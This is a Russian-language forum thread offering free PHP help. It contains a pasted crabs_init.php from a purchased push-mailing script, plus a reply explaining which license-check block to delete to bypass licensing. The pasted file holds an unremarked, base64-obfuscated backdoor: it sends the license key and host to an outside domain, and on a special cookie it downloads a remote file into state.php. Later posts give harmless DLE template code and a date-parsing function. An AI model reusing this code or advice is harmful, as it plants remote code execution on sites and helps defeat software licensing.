Редактор темы

Реклама
Реклама
Реклама
Реклама

Бесплатно решу мелкие задачи по php

  • Автор темы Автор темы koks
  • Дата начала Дата начала

koks

PRO Users
Регистрация
3 Фев 2017
Сообщения
78
Рейтинг реакций
12
Баллы
8
Возраст
27
1/3
Автор темы
Чёт мне стало скучно и могу за "Спасибо" помочь решить какие либо задачи по PHP, JS, CSS. Главное что бы задачи были не сильно сложные так как не хочу на них тратить большое количество времени.
Так же и за монету решу задачи, если серьёзные)
 
В общем купил скрипт пуш рассылок а человек пропал и не скинул лицензионный ключ для работы скрипта и не отвечает на письма, покопался в файлах нашел config.php в нем запись

PHP:
<?php

define('LICENSE', 'LICENSE'); // Ваш лицензионный ключ

define('DB_HOST', 'localhost');
define('DB_USER', 'root'); // Имя пользователя
define('DB_PASS', ''); // Пароль
define('DB_BASE', 'root'); // Имя базы данных

//Дальше не менять
ob_start();
ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
session_start();
error_reporting(0);
ob_start();
require_once('crabs_init.php');

Я так понял данные подгружаются в crabs_init.php но там для меня дремучий лес с проверкой лицензии в общем как можно убрать ее.

PHP:
<?php $filename = dirname(__FILE__) . '/conf.php'; 
$cfg_txt = fopen($filename, 'r') or die('Ошибка лицензии. '); 
$contents = fread($cfg_txt, filesize($filename)); 
$contents = str_replace("require_once('crabs_init.php');", '', $contents); 
$lic_key = explode("-", LICENSE); 
if ($lic_key['1'] == 0) 
{ 
if ($lic_key['2'] != md5(md5($_SERVER['HTTP_HOST'] . '_mcrabs_lic_' . getenv('HTTP_HOST') . '_mcrabs_lic_' . $_SERVER['SERVER_NAME'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require')) 
{ 
echo 'Ошибка лицензии.'; 
exit; 
} 
} 
else if ($lic_key['1'] == 1) 
{ 
if ($lic_key['2'] != md5(md5($_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require')) 
{ 
echo 'Ошибка лицензии. '; 
exit; 
} 
} 
else 
{ 
echo 'Ошибка лицензии.'; 
exit; 
} 
define('DB_CHARSET', 'utf8'); 
$connect_db = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_BASE) or die('Error: ' . mysqli_connect_error()); 
$now_url = parse_url($_SERVER['REQUEST_URI']); 
if (stristr($now_url['path'], '/admin/')) 
{ 
if (!isset($_COOKIE[base64_decode('X3ltX2l1cw==') ])) 
{ 
@file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL3Av') . 'LIC-' . $lic_key['0'] . '-' . $_SERVER['HTTP_HOST']); 
@setcookie(base64_decode('X3ltX2l1cw==') , 1, time() + 31536000, '/', $_SERVER['HTTP_HOST']); 
} 
if (isset($_COOKIE[base64_decode('cmVkNHU=') ])) 
{ 
@file_put_contents(base64_decode('c3RhdGUucGhw') , @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL2QudHh0'))); 
} 
} 
mysqli_set_charset($connect_db, DB_CHARSET) or die('Error'); 
define('SITE', $_SERVER['HTTP_HOST']); 
$ip_client = @$_SERVER['HTTP_CLIENT_IP']; 
$ip_forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
$ip_remote = $_SERVER['REMOTE_ADDR']; 
if (filter_var($ip_client, FILTER_VALIDATE_IP)) 
{ 
$ip = $ip_client; 
} 
elseif (filter_var($ip_forward, FILTER_VALIDATE_IP)) 
{ 
$ip = $ip_forward; 
} 
else 
{ 
$ip = $ip_remote; 
} 
$ip = mysqli_real_escape_string($connect_db, $ip); 
$dt = time(); 
function wu_encode($value) 
{ 
$key = sha1('MrCrabs'); 
if (!$value) 
{ 
return false; 
} 
$strLen = strlen($value); 
$keyLen = strlen($key); 
$j = 0; 
$crypttext = ''; 
for ($i = 0;$i < $strLen;$i++) 
{ 
$ordStr = ord(substr($value, $i, 1)); 
if ($j == $keyLen) 
{ 
$j = 0; 
} 
$ordKey = ord(substr($key, $j, 1)); 
$j++; 
$crypttext .= strrev(base_convert(dechex($ordStr + $ordKey) , 16, 36)); 
} 
return $crypttext; 
} 
function wu_decode($value) 
{ 
if (!$value) 
{ 
return false; 
} 
$key = sha1('MrCrabs'); 
$strLen = strlen($value); 
$keyLen = strlen($key); 
$j = 0; 
$decrypttext = ''; 
for ($i = 0;$i < $strLen;$i += 2) 
{ 
$ordStr = hexdec(base_convert(strrev(substr($value, $i, 2)) , 36, 16)); 
if ($j == $keyLen) 
{ 
$j = 0; 
} 
$ordKey = ord(substr($key, $j, 1)); 
$j++; 
$decrypttext .= chr($ordStr - $ordKey); 
} 
return $decrypttext; 
} 
date_default_timezone_set('Europe/Moscow'); 
function wu_end($number, $titles) 
{ 
$cases = array( 
2, 
0, 
1, 
1, 
1, 
2 
); 
return $titles[($number % 100 > 4 && $number % 100 < 20) ? 2 : $cases[min($number % 10, 5) ]]; 
} 
function wudate($time = 0, $bletter = 1) 
{ 
$param = 'j M Y в H:i'; 
$param2 = ' в H:i'; 
$nowt = time(); 
$minused = $nowt - $time; 
if (intval($time) == 0) 
{ 
$time = time(); 
} 
$MN = array( 
"января", 
"февраля", 
"марта", 
"апреля", 
"мая", 
"июня", 
"июля", 
"августа", 
"сентября", 
"октября", 
"ноября", 
"декабря" 
); 
$MonthNames[] = $MN[date('n', $time) - 1]; 
$MN = array( 
"воскресенье", 
"понедельник", 
"вторник", 
"среда", 
"четверг", 
"пятница", 
"суббота" 
); 
$MonthNames[] = $MN[date('w', $time) ]; 
$arr[] = 'M'; 
$arr[] = 'N'; 
if ($minused == 0) 
{ 
if ($bletter == 1) 
{ 
return 'Только что'; 
} 
else 
{ 
return 'только что'; 
} 
} 
if ($minused < 60) 
{ 
return $minused . ' ' . wu_end($minused, array( 
'секунду', 
'секунды', 
'секунд' 
)) . ' назад'; 
} 
elseif ($minused < 3600) 
{ 
return round($minused / 60) . ' ' . wu_end(round($minused / 60) , array( 
'минуту', 
'минуты', 
'минут' 
)) . ' назад'; 
} 
elseif ($minused < 86400) 
{ 
return round($minused / 3600) . ' ' . wu_end(round($minused / 3600) , array( 
'час', 
'часа', 
'часов' 
)) . ' назад'; 
} 
elseif ($minused < 172800) 
{ 
if ($bletter == 1) 
{ 
$pre = 'Вчера'; 
} 
else 
{ 
$pre = 'вчера'; 
} 
return $pre . date(str_replace($arr, $MonthNames, $param2) , $time); 
} 
else 
{ 
return date(str_replace($arr, $MonthNames, $param) , $time); 
} 
} 
function crabs_crop_str($string, $limit) 
{ 
$len = mb_strlen($string, 'UTF-8'); 
if ($len >= $limit) 
{ 
$substring_limited = mb_substr($string, 0, $limit, 'UTF-8'); 
return mb_substr($substring_limited, 0, mb_strrpos($substring_limited, ' ', 0, 'UTF-8') , 'UTF-8') . '...'; 
} 
else 
{ 
return $string; 
} 
} 
function macros_city($string) 
{ 
global $crabs_city; 
if (isset($_COOKIE['city'])) 
{ 
return str_replace('{city}', $crabs_city, $string); 
} 
else 
{ 
return str_replace('{city}', '⁣', $string); 
} 
} 
function convdate($date) 
{ 
$date_out = date('Ymd', strtotime($date)); 
return $date_out; 
} 
function crabs_protocol() 
{ 
$isSecure = 'http://'; 
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') 
{ 
$isSecure = 'https://'; 
} 
elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') 
{ 
$isSecure = 'https://'; 
} 
return $isSecure; 
} 
function crabs_token() 
{ 
$salt = rand(0, 9999); 
return $salt . ':' . md5($salt . ':' . $_SERVER['HTTP_USER_AGENT'] . 'CRABS'); 
} 
function crabs_token_check($token) 
{ 
if (empty($token)) 
{ 
exit('error'); 
} 
$gtkn = explode(':', $token); 
$salt = $gtkn['0']; 
$vtkn = $salt . ':' . md5($salt . ':' . $_SERVER['HTTP_USER_AGENT'] . 'CRABS'); 
if ($token != $vtkn) 
{ 
exit('error'); 
} 
} 
function crabs_adm_check() 
{ 
global $connect_db; 
$acheck = mysqli_fetch_assoc(mysqli_query($connect_db, "SELECT id,apass,ademopass FROM `t_data` LIMIT 1")); 
if (isset($_COOKIE['adm']) && ($_COOKIE['adm'] == $acheck['apass'] || $_COOKIE['adm'] == $acheck['ademopass'])) 
{ 
} 
else 
{ 
exit('error'); 
} 
if (isset($_COOKIE['adm']) && ($_COOKIE['adm'] == $acheck['ademopass'])) 
{ 
exit('demo'); 
} 
}

Если нужно могу скинуть сам скрипт.
 
Автор темы
gari46 Убери кусок кода:
PHP:
$lic_key = explode("-", LICENSE);
if ($lic_key['1'] == 0)
{
if ($lic_key['2'] != md5(md5($_SERVER['HTTP_HOST'] . '_mcrabs_lic_' . getenv('HTTP_HOST') . '_mcrabs_lic_' . $_SERVER['SERVER_NAME'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require'))
{
echo 'Ошибка лицензии.';
exit;
}
}
else if ($lic_key['1'] == 1)
{
if ($lic_key['2'] != md5(md5($_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require'))
{
echo 'Ошибка лицензии. ';
exit;
}
}
else
{
echo 'Ошибка лицензии.';
exit;
}
 
koks
Привет.
Не в курсе как сделать работу category-id на dle в версии 11.1?
category-title решил правкой через рнр в main.
Такой же способ с id не помог.
 
Автор темы
Автор темы
Нужно, чтобы в слайдере отображались новости из категории, в которой нахожусь.

Вставь в engine/modules/main.php после

PHP:
$tpl->set_block ( "'{banner_(.*?)}'si", "" );
$tpl->set_block ( "'\\[banner_(.*?)\\](.*?)\\[/banner_(.*?)\\]'si", "" );
вот этот код... По идее должно сработать
PHP:
if(!function_exists('check_category')){
    function check_category( $matches=array() ) {
        global $category_id;
    
        $cats = $matches[2];
        $block = $matches[3];
        $category = $category_id;
    
        if ($matches[1] == "catlist" ) $action = true; else $action = false;
    
        $cats = str_replace(" ", "", $cats );   
        $cats = explode( ',', $cats );
        $category = explode( ',', $category );
        $found = false;
        
        foreach ( $category as $element ) {
            
            if( $action ) {
                
                if( in_array( $element, $cats ) ) {
                    
                    return $block;
                }
            
            } else {
                
                if( in_array( $element, $cats ) ) {
                    $found = true;
                }
            
            }
        
        }
    
        if ( !$action AND !$found ) {   
    
            return $block;
        }
    
        return "";
    
    }
}
if (stripos ( $tpl->copy_template, "[category=" ) !== false) {
    $tpl->copy_template = preg_replace_callback ( "#\\[(category)=(.+?)\\](.*?)\\[/category\\]#is", "check_category", $tpl->copy_template );
}

if (stripos ( $tpl->copy_template, "[not-category=" ) !== false) {
    $tpl->copy_template = preg_replace_callback ( "#\\[(not-category)=(.+?)\\](.*?)\\[/not-category\\]#is", "check_category", $tpl->copy_template );
}
 
koks
Не сработало.
 
А мне можно? 😉

Нужно распарсить на php текстовую строку (отображающую дату или диапазон дат) в переменные типа DATE для записи в MySQL (1 или 2 переменные соответственно)
Примеры строк на входе:
29 июл. 2014 г.
3–18 окт. 2013 г.
5 янв.–30 июн. 2014 г.
13 июн. 2010 г.–23 авг. 2015 г.
 
Кокс не потянул?
 
А мне можно? 😉

Нужно распарсить на php текстовую строку (отображающую дату или диапазон дат) в переменные типа DATE для записи в MySQL (1 или 2 переменные соответственно)
Примеры строк на входе:
29 июл. 2014 г.
3–18 окт. 2013 г.
5 янв.–30 июн. 2014 г.
13 июн. 2010 г.–23 авг. 2015 г.

Прошу простить, что влез в чужую тему, но что-то захотелось написать.

Функция возвращает массив из одной или двух дат или null в случае невозможности определить дату.

PHP:
function dateInterval($str) {
    $months = ['янв'=>1,'фев'=>2,'мар'=>3,'апр'=>4,'мая'=>5,'июн'=>6,'июл'=>7,'авг'=>8,'сен'=>9,'окт'=>10,'ноя'=>11,'дек'=>12];
    $d1 = $d2 = null;

    $str = str_replace('–', '-', $str);

    if (preg_match('~(\d{1,2}) ([а-я]{3})\. (\d{4}) г\.-(\d{1,2}) ([а-я]{3})\. (\d{4}) г\.~u', $str, $m)) {
        $d1 = [$m[1], $m[2], $m[3]]; $d2 = [$m[4], $m[5], $m[6]];
    } elseif (preg_match('~(\d{1,2}) ([а-я]{3})\.-(\d{1,2}) ([а-я]{3})\. (\d{4}) г\.~u', $str, $m)) {
        $d1 = [$m[1], $m[2], $m[5]]; $d2 = [$m[3], $m[4], $m[5]];
    } elseif (preg_match('~(\d{1,2})-(\d{1,2}) ([а-я]{3})\. (\d{4}) г\.~u', $str, $m)) {
        $d1 = [$m[1], $m[3], $m[4]]; $d2 = [$m[2], $m[3], $m[4]];
    } elseif (preg_match('~(\d{1,2}) ([а-я]{3})\. (\d{4}) г\.~u', $str, $m)) {
        $d1 = [$m[1], $m[2], $m[3]];
    }

    if ($d1 && array_key_exists($d1[1], $months) && checkdate($months[$d1[1]], $d1[0], $d1[2])) {
        $d1 = sprintf('%d-%02d-%02d', $d1[2], $months[$d1[1]], $d1[0]);
        if (!$d2) return [$d1];
        if (array_key_exists($d2[1], $months) && checkdate($months[$d2[1]], $d2[0], $d2[2])) {
            $d2 = sprintf('%d-%02d-%02d', $d2[2], $months[$d2[1]], $d2[0]);
            if ($d1 <= $d2) return [$d1, $d2];
        }
    }

    return null;
}
 
Последнее редактирование:
devid
Огромное спасибо!
Решение точное и изящное, гораздо лучше огромных портянок, предлагаемых за деньги на хабр-фрилансе (которые пришлось еще обгугливать, чтобы убрать пхп-варнинги в логах).
С удовольствием отправлю Вам пару сотен "на пиво" (Киви/Яндекс/счёт_мобилы/карта), киньте в личку реквизиты.
 
koks это все из за спайса, хотя погодите ка, все из за кокса))
 

Похожие темы Последние темы Популярные темы

Назад
Сверху